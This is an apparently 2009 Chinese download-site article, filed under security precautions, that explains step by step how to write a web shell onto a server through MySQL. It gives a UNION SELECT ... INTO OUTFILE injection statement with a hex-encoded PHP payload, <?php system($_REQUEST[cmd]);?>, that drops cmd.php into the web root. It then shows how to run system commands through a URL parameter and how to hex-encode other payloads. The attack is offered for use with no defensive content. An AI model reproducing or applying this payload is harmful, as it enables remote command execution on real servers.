IT资讯/综合软件下载站!┆ 最新软件 最新文章 最新手机 UFO外星人 网站分类

您当前的位置→图文中心安全防范运用Mysql语句生成后门具体方法

运用Mysql语句生成后门具体方法


2009/5/3 9:46:40 编辑:佚名 来源:本站整理 
今天给大家分享运用Mysql语句生成后门具体方法安全防范文章。喜欢运用Mysql语句生成后门具体方法的可以分享运用Mysql语句生成后门具体方法给你的好友。

通过MySQL(和PHP搭配之最佳组合) 的语句生成后门木马的方法:

喜欢安全防范的网友不妨去看看下面的文章:
  • SELECT * FROM `vbb_strikes` WHERE 1 union select
    2,3,0x3C3F7068702073797374656D28245F52455155455
    3545B636D645D293B3F3E
    from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'

      通过MySQL(和PHP搭配之最佳组合) 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:

    2 3 <?php system($_REQUEST[cmd]);?>

      再通过 http://www.xxx.com/cmd.php?cmd=dir c: 就可以执行系统dos命令!

      问:那串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么?

      答:就是下图代码中的十六进制编码,

    <?php system($_REQUEST[cmd]);?>

      如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能执行了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!

    12下一页

    相关文章
  • NASA证实人类能运用古代技术变成有超能力的人
  • 王者荣耀花木兰技能运用技巧全面分析
  • 【美军成功运用“遥视”】找到在非洲失踪的飞机
  • cfbarrett翔龙免费领取,cf8月精英军火库怎么成为幸运用户
  • 运用win2008任务计划功能
  • 运用Mysql语句生成后门具体方法
  • 运用Ajax里的高级XSS技术
  • 相关推荐
    发表评论
    栏目列表
    阅读排行
    网站帮助 - 广告合作 - 下载声明 - 网站地图